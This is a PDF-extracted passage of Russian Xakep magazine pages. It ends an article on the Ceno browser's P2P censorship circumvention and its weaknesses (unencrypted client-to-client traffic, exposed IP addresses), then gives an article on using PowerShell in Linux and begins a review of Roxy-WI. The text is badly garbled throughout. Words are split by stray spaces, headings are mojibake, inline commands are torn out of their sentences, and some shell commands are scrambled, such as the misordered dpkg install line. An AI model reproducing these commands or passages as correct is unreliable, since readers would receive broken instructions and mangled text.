узле. Инжекто ры исполь зуют пару откры того и зак рытого клю чей для соз- 
дания под писей Ed25519, откры тые клю чи дос таточ но малы, что бы их мож но
было отправ лять вмес те с под писями, и пред став лены в виде 64 шес тнад- 
цатерич ных сим волов или 52 сим волов в Base32. Раз ные инжекто ры исполь- 
зуют раз ные клю чи, поэто му поль зователь может выбирать, каким из них он
доверя ет, а каким — нет. Ска жем, если инжектор находит ся в той же стра не,
где живет поль зователь, но при этом не под вержен цен зуре, велик риск, что
такой инжектор кон тро лиру ется спец служ бами. По умол чанию доверен ными
счи тают ся толь ко инжекто ры, управля емые ком пани ей eQualitie — раз работ- 
чиком бра узе ра, но эту нас трой ку мож но изме нить.

По лучив зап рошен ную веб-стра ницу, кли ент, во-пер вых, отоб ража ет ее
в бра узе ре Ceno, во-вто рых, сох раня ет копию в локаль ном кеше, а в-треть их,
вно сит в рас пре делен ные хеш-таб лицы DHT запись о том, что он рас полага ет
этой самой копи ей. Вре мя хра нения кон тента в кеше поль зователь может
нас тро ить самос тоятель но — по умол чанию он содер жится там до тех пор,
пока стра ница не будет замеще на более акту аль ной копи ей либо пока кеш
не будет очи щен.

Ес ли дос туп к внеш нему интерне ту про пал пол ностью, нап ример работа ет
на пол ную катуш ку наци ональ ный фай рвол, кон тент смо жет рас простра нять ся
толь ко внут ри сети Ceno. При этом, если один кли ент получит копию
какой-либо веб-стра ницы или виде офай ла от дру гого кли ента, он сам
начина ет раз давать этот файл в сеть. Таким обра зом, кон тент оста ется дос- 
тупен, даже если пер вый узел, на который он был заг ружен из интерне та,

 отклю чил ся или перес тал отве чать на зап росы. Ана логич но тор- 
рентам, кли енты Ceno могут тянуть фай лы сра зу из нес коль ких источни ков
неболь шими пор циями, что сни жает тра фик и повыша ет дос тупность кон- 
тента. Так в общих чер тах это работа ет.

арес тован

ÏÐÎÁËÅÌÛ ÁÅÇÎÏÀÑÍÎÑÒÈ

Как уже упо мина лось, связ ка Ceno + Ouinet обес печива ет дос тупность кон- 
тента, ког да под клю чение к интерне ту огра ничи вают, но отнюдь не ано ним-
ность. При боль шом желании мож но отсле дить и самих поль зовате лей в сети
Ceno, и прос мотреть, чем они делят ся с окру жающи ми, пос коль ку шиф рует ся
тра фик толь ко на учас тке «кли ент — инжектор», а на канале «кли ент — кли ент»
шиф рование не исполь зует ся. Это откры вает широкие воз можнос ти для про- 
веде ния атак типа MITM.

Из таб лиц мар шру тиза ции Ceno мож но получить IP-адре са зарегис три- 
рован ных в сети устрой ств, а зна чит, об ано ним ности тут нет и речи. А пос-
коль ку девайс с уста нов ленным Ceno не толь ко получа ет, но и раз дает кон- 
тент, его вла дель ца впол не мож но прив лечь за рас простра нение зап рещен- 
ной информа ции. Законо датель ство некото рых стран это впол не допус кает.

Для обхо да столь щепетиль ного момен та бра узер Ceno име ет так называ- 
емый режим при ват ного прос мотра. В этом режиме зап росы к индексу DHТ
не отправ ляют ся, а кон тент не кеширу ется. Вмес то это го бра узер прос то
исполь зует инжекто ры в качес тве проз рачно го прок си. При этом инжектор
видит IP-адрес отпра вив шего ему зап рос хос та, но не может опре делить,
конеч ный это кли ент сети или бридж.

К надеж ности всей сис темы тоже есть некото рые воп росы. Пос коль ку IP-
адре са всех инжекто ров в рое нет рудно получить из индекса, их теоре тичес ки
мож но заб локиро вать или зад досить. Так же оче вид но, что в пуб личном
режиме прос мотра невоз можно получить дос туп к кон тенту, тре бующе му
авто риза ции, пос коль ку перед отправ кой зап роса инжекто ру из него сна чала
уда ляют ся логины и пароли, пос ле чего он шиф рует ся, а при воз вра те дан ных
кли енту инжектор уда ляет отту да куки. Дела ется это для того, что бы при ват- 
ные дан ные не утек ли в Р2Р-сеть. Таким обра зом, прос мотр какого-либо лич- 
ного кон тента, вро де сво ей стра нич ки в заб локиро ван ной соц сети, воз можен
толь ко в при ват ном режиме.

Есть и еще один нюанс, не сов сем оче вид ный, но вмес те с тем немало- 
важ ный. Все доверен ные инжекто ры в сети Ceno при над лежат ком пании
eQualitie. Мож но ли поручить переда чу сво ей информа ции и собс твен ную
безопас ность ком мерчес кой орга низа ции, которая раз работа ла и бес плат но
рас простра няет биб лиоте ку Ouinet, мобиль ный бра узер и источни ки финан- 
сирова ния которой неиз вес тны? Это очень неп ростой воп рос.

ËÈ×ÍÛÉ ÎÏÛÒ

Ус тановить Ceno Browser мож но из . В целом мои ожи дания под- 
твер дились: внеш не это впол не обыч ный Firefox для Android со стан дар тны ми
эле мен тами управле ния. Сер финг про ходит тоже впол не тра дици онно, раз ве
что стра ницы заг ружа ются чуть мед леннее, чем в обыч ном мобиль ном бра- 
узе ре, но все же впол не шус тро. При работе с Ceno я обра тил вни мание
на то, что в пуб личном режиме некото рые новос тные сай ты содер жат
не самую акту аль ную информа цию в лен те, пос коль ку под гру жают ся из кеша.
А вот в режиме при ват ного прос мотра эта проб лема исчезла, зато вре мя заг- 
рузки кон тента ощу тимо воз росло.

Google Play

Ceno ин экшн

В осно ве Ceno лежит доволь но ста рая вер сия Firefox, но авто ры обе щают
обно вить ее, ког да основные работы над про ектом будут закон чены. Тем
не менее исполь зование уста рев шего движ ка, исходни ки которо го уже дав но
лежат в откры том дос тупе, наводит на грус тные мыс ли об уяз вимос тях.
Но как бы то ни было, соф тина работа ет, недос тупные в обыч ном режиме
сай ты откры вают ся, а что до ско рос ти — то с нетороп ливостью Ceno мож но
сми рить ся, осо бен но если учесть, что при исполь зовании это го бра узе ра
не нуж но городить ого род с VPN.

ÇÀÊËÞ×ÅÍÈÅ

Тех нология Ceno может быть очень полез на для поль зовате лей, пот ребля- 
ющих под верга емый цен зуре кон тент, а так же для населе ния стран, где под- 
клю чение к интерне ту нес табиль но, ненадеж но или дорого. С помощью одно- 
ран говой P2P-сети орга низу ется сво его рода комь юни ти, учас тни ки которо го
помога ют друг дру гу делить ся информа цией и пре одо левать раз личные
искусс твен ные огра ниче ния. Тем не менее эта тех нология не лишена ряда
недос татков, наличие которых сле дует обя затель но учи тывать, если ты
решишь уста новить Ceno на свой Android-смар тфон или план шет.

mailto:valentin@holmogorov.ru
https://xakep.ru/2020/10/07/tor-snowflake/
https://censorship.no/
https://github.com/equalitie/ouinet
https://play.google.com/store/apps/details?id=ie.equalit.ceno&hl=ru&gl=US
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«Сан кции», «импорто заме щение» — эти сло веч ки в пос- 
леднее вре мя все чаще встре чают ся в прес се и сетевых пуб- 
ликаци ях. Под дав лени ем обсто ятель ств некото рые ком- 
пании перехо дят на Linux и сво бод ное ПО. Ког да работа ешь
в Linux или исполь зуешь две опе раци онные сис темы сра зу,
очень хочет ся сох ранить удоб ное окру жение и при выч ное
средс тво авто мати зации, роль которо го в Windows игра ет
PowerShell. Мож но ли пол ноцен но исполь зовать его в Linux?
Конеч но, и сей час мы раз берем ся, как.

GUI È CLI

С точ ки зре ния обыч ного поль зовате ля, ОС — это гра фичес кая обо лоч ка
для манипу ляций с фай ловой сис темой компь юте ра и запус ка раз личных при- 
ложе ний. Внеш не опе раци онные сис темы отли чают ся друг от дру га нез- 
начитель но, так как гра фичес кий интерфейс вез де сос тоит из одних и тех же
эле мен тов (окна, кноп ки, рас кры вающиеся спис ки и про чее), а фай ловые
сис темы пос тро ены на одном прин ципе вло жен ных катало гов и фай лов.

По это му работа с GUI-при ложе ниями в Windows и Linux выг лядит оди нако- 
во и инту итив но понят на, основные опе рации выпол няют ся стан дар тны ми
спо соба ми в более-менее при выч ном интерфей се.

Прод винутые поль зовате ли и про фес сиона лы для авто мати зации работы
поль зуют ся еще одним инс тру мен том, при сутс тву ющим в любой дес ктоп ной
опе раци онной сис теме. Это коман дный интер пре татор (обо лоч ка) и набор
стан дар тных ути лит, исполня ющих ся в кон соль ном режиме. Коман дный
интер пре татор реша ет сра зу две задачи:

вы пол нение команд, которые вво дят ся вруч ную с помощью интерфей са
коман дной стро ки (Command Line Interface, CLI);

•

под дер жка язы ка прог рамми рова ния для соз дания скрип тов, исполня емых
в опе раци онной сис теме.

•

В отли чие от гра фичес кого интерфей са, CLI-инс тру мен ты нель зя наз вать
инту итив ными. Нуж но знать, какие имен но коман ды есть в опе раци онной сис- 
теме, с какими клю чами их запус кать, как мож но ком биниро вать эти коман ды
для получе ния тре буемо го резуль тата.

Де ло осложня ется тем, что в Windows и Linux исполь зуют ся раз ные коман- 
дные обо лоч ки со сво ими набора ми слу жеб ных команд. Это свя зано как с
прин ципи аль ными отли чиями в архи тек туре ОС, так и с исто ричес кими при- 
чина ми.

CLI â Linux

В Linux работу с коман дной стро кой под держи вает та или иная модифи кация
ори гиналь ной обо лоч ки sh опе раци онной сис темы Unix, обыч но это Bash
(Bourne again shell) или Zsh (Z shell).

Ко ман дная стро ка в Linux

Фун кци ональ ность этих коман дных интер пре тато ров и набор кон соль ных ути- 
лит базиру ются на стан дарте POSIX, соз данном для обес печения сов мести- 
мос ти раз личных Unix-подоб ных опе раци онных сис тем. Поэто му во всех
модифи каци ях Linux (как и в опе раци онной сис теме macOS) исполь зуют ся
одни и те же коман ды, которые мож но соеди нять друг с дру гом в прог рам- 
мные кон вей еры, ког да текст из выход ного потока одной ути литы нап равля- 
ется на вход дру гой.

Мно гие стан дар тные коман ды Linux ори енти рова ны на обра бот ку тек ста
( , , , , , ), так как в Unix-подоб ных опе раци онных сис- 

темах тек сто вые дан ные при нято исполь зовать в качес тве уни вер саль ного
пред став ления информа ции, раз личные сис темные нас трой ки и кон фигура- 
ции при ложе ний хра нят ся в обыч ных тек сто вых фай лах.

grep sed awk sort cut tail

Еще один базовый прин цип Unix, перешед ший в Linux, выража ется фра зой
«всё есть файл». Поэто му одни и те же ути литы мож но исполь зовать
для работы как с обыч ными тек сто выми фай лами, так и с вир туаль ными фай- 
лами, пред став ляющи ми собой каналы свя зи прог рамм друг с дру гом,
перифе рий ными устрой ства ми и устрой ства ми, эму лиру ющи ми ядро опе- 
раци онной сис темы.

Та ким обра зом, нес ложные задачи авто мати зации в Linux в ито ге сво дят ся
к манипу ляци ям с фай ловой сис темой и обра бот ке тек ста с помощью име- 
ющих ся в сис теме стан дар тных команд. Такие задачи удоб но решать, пос- 
ледова тель но при меняя нес коль ко команд, объ еди нен ных тек сто выми
потока ми в кон вей ер.

При мер кон вей ера

Ти пич ный при мер: необ ходимо очис тить каталог  от фай лов, которые

стар ше семи дней. Объ еди няем в кон вей ер коман ду  для поис ка фай лов

и коман ду  для их уда ления:

/tmp
find

rm

find /tmp -type f -name '*' -mtime +7 -print0 | xargs -0 rm -f

В более слож ных слу чаях, ког да парой кон вей еров не обой тись, пишут сце- 
нарии на под держи ваемом обо лоч кой древ нем коман дно-скрип товом язы ке,
который никак нель зя наз вать удоб ным и инту итив но понят ным, или на одном
из уни вер саль ных интер пре тиру емых язы ков, самый популяр ный из которых
сей час — Python.

CLI â Windows

Сов ремен ные вер сии Windows базиру ются на раз работан ной в начале 1990-х
годов Windows NT, име ющей, в отли чие от Unix, API-ори енти рован ную архи- 
тек туру. Опе раци онные сис темы это го семей ства сос тоят из огромно го чис ла
под систем и ком понен тов, дос туп к которым орга низо ван через спе цифи чес- 
кие API. Для упро щения работы с такой слож ной сис темой управля емые эле-
мен ты груп пиру ются в струк туриро ван ные объ екты.

В этом и сос тоит прин ципи аль ное отли чие Windows от Unix-подоб ных сис- 
тем, которые ори енти рова ны на исполь зование тек ста для пред став ления
все го, что толь ко мож но. Инс тру мент для управле ния Windows из коман дной
стро ки дол жен не толь ко под держи вать работу с фай ловой сис темой и тек- 
сто выми фай лами, как в Unix-сис темах, но и обес печивать прос той и еди- 
нооб разный дос туп к свой ствам и методам мно жес тва внут ренних объ ектных
моделей Windows (.NET Framework, WMI, WSH, ADSI, CDO и так далее).

Стан дар тный коман дный интер пре татор , появив ший ся в Windows

NT и бла гопо луч но дожив ший до пос ледних вер сий Windows, не имел такой
воз можнос ти, его основной задачей было обес печивать обратную сов мести- 
мость с коман дным интер пре тато ром  пре дыду щей опе раци- 

онной сис темы MS-DOS, в которой не было никаких внут ренних объ ектных
сис тем. По воз можнос тям обо лоч ки  и сос таву сис темных кон соль- 

ных ути лит Windows всег да усту пала Unix-подоб ным сис темам. Основные уси- 
лия раз работ чиков нап равля лись на улуч шение гра фичес кой обо лоч ки, а не
на коман дную стро ку.

cmd.exe

command.com

cmd.exe

Для решения этих проб лем Microsoft в начале 2000-х раз работа ла новую
обо лоч ку и сре ду выпол нения сце нари ев Windows PowerShell, которая впи- 
тала в себя удач ные решения из дру гих обо лочек и скрип товых язы ков.
PowerShell обес печива ет пря мой дос туп из коман дной стро ки к внут ренним
объ ектам сис темы и поз воля ет работать с раз личны ми источни ками дан ных
(нап ример, с сис темным реес тром или хра нили щем сер тифика тов) по прин- 
ципу фай ловой сис темы. Внут ренний набор команд PowerShell мож но допол- 
нять собс твен ными коман дами, которые пол ностью интегри руют ся в обо лоч- 
ку.

От всех дру гих обо лочек коман дной стро ки PowerShell отли чает глав ная
осо бен ность — ее ори ента ция на объ екты. Коман ды PowerShell, которые при- 
нято называть коман дле тами, вза имо дей ству ют друг с дру гом не с помощью
сим воль ных строк, а через объ екты. Поэто му работать в PowerShell ста новит- 
ся про ще, чем в тра дици онных обо лоч ках: не нуж но допол нитель но ничего
делать, что бы выделить информа цию из сим воль ного потока.

Пос ледова тель ность коман дле тов

Нап ример, нуж но получить упо рядо чен ный по количес тву зат рачен ного про- 
цес сорно го вре мени спи сок про цес сов, иден тифика торы которых боль- 
ше 1000. Это дела ется кон вей ером из трех команд, наз начение которых оче- 
вид но из их наз ваний:

Get-Process | Where-Object Id -gt 1000 | Sort-Object cpu -Descending

Для под дер жки объ ектов раз работ чики PowerShell вос поль зовались объ- 
ектной моделью .NET Framework. Таким обра зом, язык PowerShell отно сит ся
к .NET-язы кам прог рамми рова ния (как C#), и при этом он совер шенно
не похож на дру гие. Это коман дно-скрип товый язык, поз воля ющий сов- 
мещать в сце нари ях импе ратив ный и дек ларатив ный сти ли прог рамми рова- 
ния.

Îáúåäèíåíèå ìèðîâ Windows è Linux

Итак, в Windows и Linux живут совер шенно раз ные коман дные обо лоч ки,
одна ко ста рани ями Microsoft ста ло воз можным работать с при выч ной
для себя обо лоч кой в любой сис теме:

. С помощью под систе мы WSL (Windows Subsystem for
Linux) мож но уста новить из Microsoft Store один из дис три бути вов Linux
и поль зовать ся его коман дной обо лоч кой для работы с фай ловой сис- 
темой Windows или запус ка Windows-ути лит. Так же в этом слу чае мож но
будет запус кать ути литы Linux в коман дной стро ке Windows.

• Bash â Windows

. В 2017 году Microsoft откры ла исходный код

PowerShell, теперь это Open Source про ект (вот ).
Обо лоч ка, исполь зующая .NET Core, ста ла кросс-плат формен ной, с ней
мож но работать в раз личных дис три бути вах Linux (Debian, Ubuntu, CentOS,
Red Hat, openSUSE, Fedora) и в macOS.

• PowerShell â Linux

ре пози торий на GitHub

Вна чале кросс-плат формен ная вер сия обо лоч ки называ лась PowerShell Core
6, что бы явно ука зать ее зависи мость от .NET Core. Начиная с седь мой вер- 
сии сло во Core из наз вания убра ли, теперь обо лоч ка носит имя прос то
PowerShell. Вер сия обо лоч ки, базиру ющаяся на пол ной плат форме Windows
.NET Framework, называ ется Windows PowerShell.

ÓÑÒÀÍÎÂÊÀ È ÇÀÏÓÑÊ

Ус танов ка PowerShell зависит от типа опе раци онной сис темы и ее вер сии,
соот ветс тву ющие инс трук ции име ются на . Нап ример,
для уста нов ки PowerShell в опе раци онной сис теме Linux Ubuntu 20.04 нуж но
выпол нить сле дующие коман ды:

сай те Microsoft

sudo apt-get update 
 sudo apt-get install -y wget apt-transport-https software-properties-

common 
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-
microsoft-prod.deb 

dpkg sudo -i packages-microsoft-prod.deb 
sudo apt-get update 
sudo add-apt-repository universe 

 sudo apt-get install -y powershell 

Что бы запус тить уста нов ленную обо лоч ку PowerShell, выпол ним в тер минале
коман ду . Пос ле вывода информа ции о вер сии PowerShell мы получим
обыч ное приг лашение коман дной стро ки с путем к текуще му катало гу в качес- 
тве пре фик са.

pwsh

PowerShell в Linux

Продолжение статьи →
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ИСПОЛЬЗУЙ СИЛУ,

ТУКС!
ПРИМЕНЯЕМ POWERSHELL В LINUX

АДМИН  НАЧАЛО СТАТЬИ←

POWERSHELL ÊÀÊ ÊÎÌÀÍÄÍÀß ÎÁÎËÎ×ÊÀ

Для эффектив ной и удоб ной работы в коман дной стро ке важ ны два момен та.
1. Нуж но знать наз вания команд и их клю чей. Запом нить их будет про ще,

если син таксис команд инту итив но понятен и одно роден. Если мы не пом- 
ним клю чи у коман ды, то дол жна быть воз можность быс тро най ти справ ку
по этой коман де и при меры ее исполь зования.

2. Са ми коман ды и их клю чи дол жны быть крат кими и удоб ными для быс тро го
набора на кла виату ре. Обо лоч ка дол жна под держи вать механиз мы авто- 
допол нения, поис ка и пов тора выпол нявших ся ранее команд.

Ес ли со вто рым пун ктом у стан дар тных обо лочек Linux все хорошо, то пох- 
валить ся понят ностью имен и клю чей команд они не могут: наз вания мно гих
ути лит пред став ляют собой аббре виату ры, при думан ные еще в 1960-е годы,
а одни и те же клю чи в раз ных коман дах могут иметь раз ный смысл.
В PowerShell такой проб лемы нет.

Ñòðóêòóðà êîìàíä è ïñåâäîíèìû

В PowerShell име на всех внут ренних команд соот ветс тву ют шаб лону «дей- 
ствие-объ ект», нап ример  (получить информа цию о про цес се),

 (получить содер жимое фай ла),  (очис тить экран).

Для оди нако вых парамет ров команд исполь зуют ся стан дар тные име на, струк- 
тура парамет ров во всех коман дах иден тична, все коман ды обра баты вают ся
одним син такси чес ким ана лиза тором. Это дела ет семан тику команд оче вид- 
ной и зна читель но упро щает запоми нание и исполь зование команд
PowerShell.

Get-Process
Get-Content Clear-Host

С дру гой сто роны, иног да PowerShell руга ют имен но за этот мно гос ловный
и необыч ный для дру гих обо лочек син таксис. Нап ример, нам нуж но соз дать
в текущем катало ге пус той файл . В Bash это дела ется коман дой 
из пяти букв:

1.txt touch

~ touch 1.txt 

При соз дании фай ла в PowerShell с помощью коман ды  с парамет- 

рами пот ребу ется ввес ти боль ше двад цати сим волов.

New-Item

Соз дание фай ла 1.txt c помощью коман ды New-Item

Выг лядит ужас но, прав да? Но того же резуль тата мож но добить ся, наб рав
коман ду  все го из двух сим волов.ni

Соз дание фай ла 2.txt c помощью коман ды ni

Ко ман да  — это стан дар тный псев доним для  (сок ращение

по пер вым бук вам слов коман ды), зна чение  для парамет ра 

исполь зует ся по умол чанию, имя парамет ра  мож но опус тить.

ni New-Item
File -Type

-Path
Та ким обра зом, стан дар тные псев донимы PowerShell, пол ный спи сок

которых мож но получить с помощью коман ды , помога ют быс тро

вво дить коман ды и соз давать ком пак тные и лаконич ные кон вей еры из нес- 
коль ких команд.

Get-Alias

По луче ние пол ного спис ка псев донимов c помощью коман ды Get-Alias

От метим, что в Windows PowerShell за некото рыми коман дле тами зак репле ны
псев донимы, соот ветс тву ющие стан дар тным коман дам Unix-подоб ных сис- 
тем: , , , , , , , . В PowerShell 6/7 дан ные псев донимы

не опре деле ны, их ввод при ведет к выпол нению «род ных» команд Linux.

ls rm cp mv cat ps man mount

Äîñòóïíîñòü êîìàíä

В .NET Core/.NET 5 реали зова на не вся фун кци ональ ность плат формы .NET
Framework, поэто му в PowerShell 6/7 по умол чанию заг ружа ется мень ше
модулей и будет дос тупно мень ше команд, чем в Windows PowerShell. Нап- 
ример, под Linux недос тупны коман ды 

.

*-Service, *-Acl, *-Event, Set-
ExecutionPolicy

Часть из отсутс тву ющих модулей нап рямую свя заны с осо бен ностя ми опе- 
раци онной сис темы Windows и не могут быть перене сены на дру гие плат- 
формы (так, в PowerShell для Linux отсутс тву ют про вай деры и вир туаль ные
дис ки для сис темно го реес тра и хра нили ща сер тифика тов), некото рые
модули могут быть добав лены в сле дующих вер сиях PowerShell.

При работе с PowerShell в Linux необ ходимо учи тывать осо бен ности опе- 
раци онной сис темы.

. Сама обо лоч ка PowerShell, как и
опе раци онная сис тема Windows, не зависит от регис тра сим волов. Нап- 
ример, име на  и  обоз нача ют одну и ту же перемен ную, наз вание
коман дле тов мож но писать в любом регис тре ( , 

 или ), в путях к фай лам и катало гам в Windows тоже
мож но исполь зовать сим волы в раз ных регис трах ( ,

 или ). Нап ротив, в Linux важен регистр сим- 
волов в путях к катало гам и фай лам или в име нах перемен ных сре ды.
Поэто му для запус ка сце нари ев, заг рузки модулей и кор рек тной работы
авто допол нения фай ловых путей в этих сис темах нуж но писать точ ные
име на с уче том регис тра сим волов. Наз вания самих коман дле тов
и перемен ных PowerShell по-преж нему от регис тра не зависят.

• Çà âèñè ìîñòü îò ðåãèñ òðà ñèì âîëîâ

$a $A
Get-Process get-

process GET-PROCESS
C:\Windows

c:\windows C:\WINDOWS

. В Windows в качес тве раз- 

делите лей в путях к фай лам и катало гам мож но исполь зовать сим волы
сле ша / и обратно го сле ша \. В Linux исполь зует ся толь ко сим вол сле ша .

• Ðàç äåëèòå ëè â ïóòÿõ ôàé ëîâîé ñèñ òåìû

/

. Для выпол- 

нения какой-либо одной коман ды с при виле гиями супер поль зовате ля root
в обо лоч ке Linux исполь зует ся коман да . В сеан се работы PowerShell

нап рямую при менить  не получит ся, нуж но с ее помощью запус тить

новый экзем пляр обо лоч ки, и все коман ды PowerShell будут выпол нять ся
от име ни супер поль зовате ля.

• Çà ïóñê êîìàíä îò èìå íè ñóïåð ïîëü çîâàòå ëÿ (sudo)

sudo

sudo

Ñïðàâî÷íàÿ ñèñòåìà

При работе с инте рак тивной коман дной обо лоч кой важ но иметь под рукой
под робную и удоб ную спра воч ную сис тему с опи сани ем воз можнос тей
команд и при мера ми их при мене ния. В PowerShell такая сис тема име ется,
в Linux она работа ет так же, как в Windows, с помощью коман ды .Get-Help

Спра воч ная сис тема

Под робная спра воч ная информа ция о коман дах PowerShell (опи сания каж- 
дого из парамет ров коман ды, замеча ния и при меры запус ка коман ды с раз- 
личны ми парамет рами и аргу мен тами) хра нит ся в интерне те на сай тах
Microsoft. С помощью коман ды  мож но заг рузить спра воч ные
фай лы на свою машину, что бы обра щать ся к ним быс трее:

Update-Help

Update-Help -Force -UICulture en-US

От метим, что коман длет  поз воля ет прос матри вать спра воч ную

информа цию не толь ко о раз ных коман дах, но и о син такси се язы ка
PowerShell, о псев донимах, фун кци ях, скрип тах и дру гих аспектах работы обо- 
лоч ки. Спи сок тем, обсужде ние которых пред став лено в спра воч ной служ бе
PowerShell, мож но уви деть с помощью коман ды .

Get-Help

Get-Help about_*

Вы вод коман ды Get-Help about_

Ðàáîòà â êîìàíäíîé ñòðîêå

При запус ке PowerShell авто мати чес ки заг ружа ется модуль PSReadLine,
обес печива ющий удоб ную инте рак тивную работу в коман дной стро ке.

Наз вания коман дле тов, парамет ров и перемен ных, клю чевые конс трук ции
и дру гие эле мен ты язы ка PowerShell при вво де в коман дную стро ку отоб ража- 
ются раз ными цве тами. Если при наборе коман ды получа ется син такси чес ки
невер ная конс трук ция (нап ример, мы забыли пос тавить зак рыва ющую скоб ку
или не написа ли коман ду пос ле зна ка кон вей ера), то пос ледний знак 
в приг лашении коман дной стро ки ста новит ся крас ным.

>

Мы где-то ошиб лись

В PowerShell под держи вает ся авто мати чес кое завер шение имен команд, их
парамет ров и путей к фай лам и катало гам. Для это го исполь зует ся кла виша
Tab. Нап ример, если наб рать сим волы  и нажать Tab, то в коман дной

стро ке появит ся коман да .

get-p
Get-Process

Ес ли для завер шения воз можны нес коль ко вари антов, то они будут
выведе ны все, а ввод коман ды про дол жится. Таким обра зом, при вво де
коман ды мож но узнать все ее воз можные парамет ры, даже не обра щаясь
к спра воч ной сис теме (в стан дар тных обо лоч ках Linux такой воз можнос ти
нет).

Прос мотр парамет ров при вво де коман ды

Ес ли ты пом нишь толь ко часть коман ды (необя затель но сна чала), то по ней
мож но най ти под ходящие вари анты сре ди тех команд, которые выпол нялись
в обо лоч ке рань ше. По умол чанию инте рак тивный поиск в таком режиме акти- 
виру ется нажати ем кла виш Ctrl + r (поиск по исто рии команд назад) или Ctrl +
s (поиск по исто рии команд впе ред).

По иск по исто рии команд

При наборе коман ды PowerShell может cра зу выдавать под ходящий вари ант
из спис ка вво див шихся команд, который мож но при нять одним нажати ем
стрел ки впра во. Акти виру ется этот режим сле дующей коман дой: 

.

Set-
PSReadLineOption -PredictionSource 'History'

Вклю чение режима авто завер шения вво да команд

Те кущие сочета ния кла виш, наз начен ные в PSReadLine для выпол нения дей- 
ствий, мож но пос мотреть с помощью коман ды .Get-PSReadlineKeyHandler

Прос мотр текуще го спис ка горячих кла виш

Из менить сочета ния кла виш поз воля ет коман да .

Нап ример, наз начим кла вишам со стрел ками вверх и вниз фун кции
 (поиск назад по исто рии команд)

и  (поиск впе ред по исто рии команд) соот ветс твен но.

Set-PSReadlineKeyHandler

HistorySearchBackward
HistorySearchForward

Пе реназ начение горячих кла виш

Те перь мож но будет под став лять в коман дную стро ку коман ды из исто рии,
наб рав в коман дной стро ке их началь ные сим волы и нажимая стрел ку вверх
или вниз.

Что бы не набирать при каж дом запус ке PowerShell коман ды для нас трой ки
PSReadLine, их нуж но помес тить в свой про филь — это скрипт, который авто- 
мати чес ки выпол няет ся при каж дом запус ке PowerShell. Путь к про филю хра- 
нит ся в перемен ной .$PROFILE

Скрипт $PROFILE

ÂÛÂÎÄÛ

Обо лоч ка PowerShell впол не при год на для ком фор тно го исполь зования
в Linux, осо бен но если ты уже работал с ней в Windows, при вык к объ ектной
при роде этой обо лоч ки, оце нил ее воз можнос ти и осо бен ности. В сос тав
PowerShell вхо дит мно жес тво стан дар тных коман дле тов, в том чис ле
для работы с фай ловой сис темой, струк туриро ван ными дан ными (в фор матах
CSV и JSON) и веб-ресур сами по про токо лу HTTP.

Кро ме внут ренних коман дле тов, в обо лоч ке мож но выпол нять любые кон- 
соль ные ути литы, уста нов ленные в опе раци онной сис теме. Поэто му получит- 
ся ком биниро вать воз можнос ти команд Linux с собс твен ными механиз мами
PowerShell (кон вей ерная обра бот ка объ ектов, гиб кая сис тема фор матиро- 
вания выводи мой информа ции, обра бот ка воз ника ющих оши бок), а так же
поль зовать ся всей фун кци ональ ностью биб лиотек плат формы .NET Core /
.NET 5 (нап ример, для обра бот ки сим воль ной информа ции или работы
с датами и вре менем).

От дель ного вни мания зас лужива ют скрип ты PowerShell. Для авто мати- 
зации работы в Linux необя затель но углублять ся в деб ри Bash-скрип тинга
или отка зывать ся от удобств и прос тоты коман дно го язы ка, пол ностью
перехо дя на Python. Если ты уже писал скрип ты PowerShell в Windows, то и в
Linux смо жешь поль зовать ся сво ими наработ ками и соз давать новые
решения.

Осо бых отли чий в скрип тах PowerShell для раз ных плат форм нет, одна ко
интегри рован ная сре да для раз работ ки PowerShell ISE дос тупна толь ко
в PowerShell для Windows, в сос тав PowerShell 6/7 она не вхо дит. Для раз- 
работ ки скрип тов в Linux Microsoft рекомен дует исполь зовать редак тор Visual
Studio Code с рас ширени ем для под дер жки язы ка PowerShell.

WWW

В статье мы кос нулись воз можнос тей обо лоч ки
и скрип тов PowerShell очень крат ко. Более под- 
робно эти воп росы рас смат рива ются в моей кни- 
ге « », вышед шей в мар- 
те 2022 года.

Сов ремен ный PowerShell

https://bhv.ru/product/sovremennyj-powershell/


ROXY-WI
УДОБНЫЙ ИНТЕРФЕЙС ДЛЯ
HAPROXY, NGINX, APACHE И

KEEPALIVED

Даниил Батурин
Координатор проекта VyOS
(https://vyos.io), «языковед»,

функциональщик, иногда
сетевой администратор

daniil@baturin.org

АДМИН

Apache HTTPD и Nginx — самые популяр ные сер веры HTTP,
а HAProxy — один из самых вос тре бован ных балан сиров- 
щиков наг рузки. Они прек расно справ ляют ся со сво ими
задача ми, и мно жес тво адми нов уме ют с ними работать.
Одна ко нас тро ить сер вер мало — его еще нуж но под держи- 
вать, монито рить и мас шта биро вать. Даже в пре делах одно- 
го сер вера это может быс тро прев ратить ся в уто митель ное
занятие. Тем более если управлять нуж но клас тером.

Ре шений для одно го сер вера дос таточ но мно го — «панели управле ния хос- 
тингом» сущес тву ют на любой вкус, и сво бод ные, и проп риетар ные. Но одно- 
го сер вера мно гим сов ремен ным про ектам уже не хва тит. Что бы спра вить ся
с наг рузкой и обес печить отка зоус той чивость, нужен клас тер.

Ра дикаль ное решение для авто мати зации управле ния клас тером — под- 
ход infrastructure as code. Для самых круп ных про ектов это решение, веро- 
ятно, единс твен но воз можное. Есть ли аль тер нативы для тех, кому уже нуж на
авто мати зация работы более чем с одним сер вером? Про ект  стре- 
мит ся соз дать такую аль тер нативу. Давай пос мотрим, нас коль ко ему это уда-
ется.

Roxy-WI

ROXY-WI

Про ект Roxy-WI стар товал в самом начале 2018 года. Он называл ся HAProxy-
WI (HAProxy Web Interface), но поз же сме нил имя, пос коль ку его воз можнос ти
уже не огра ничи вались авто мати заци ей нас трой ки HAProxy.

Ис ходный код про екта рас простра няет ся по лицен зии Apache 2.0, и его
мож но най ти на .GitHub

Для финан сирова ния раз работ ки авто ры Roxy-WI пре дос тавля ют плат ный
дос туп к репози тори ям с соб ранны ми пакета ми, тех ничес кую под дер жку
и допол нитель ные сер висы, нап ример авто мати чес кое резер вное копиро- 
вание нас тро ек.

ÓÑÒÀÍÎÂÊÀ È ÎÁÍÎÂËÅÍÈÅ

Лю бой жела ющий может уста новить Roxy-WI из исходни ков, для это го дос- 
таточ но кло ниро вать репози торий c GitHub и сле довать .инс трук циям

Ав торы Roxy-WI пре дос тавили нам проб ный дос туп к репози тори ям,
поэто му возить ся с руч ной уста нов кой не приш лось. Уста нов ка из RPM
на Rocky Linux 8 (идей ном нас ледни ке CentOS) не сос тавля ет боль шого тру- 
да.

Аль тер натив ный вари ант — раз верты вание на Amazon EC2 из офи циаль- 
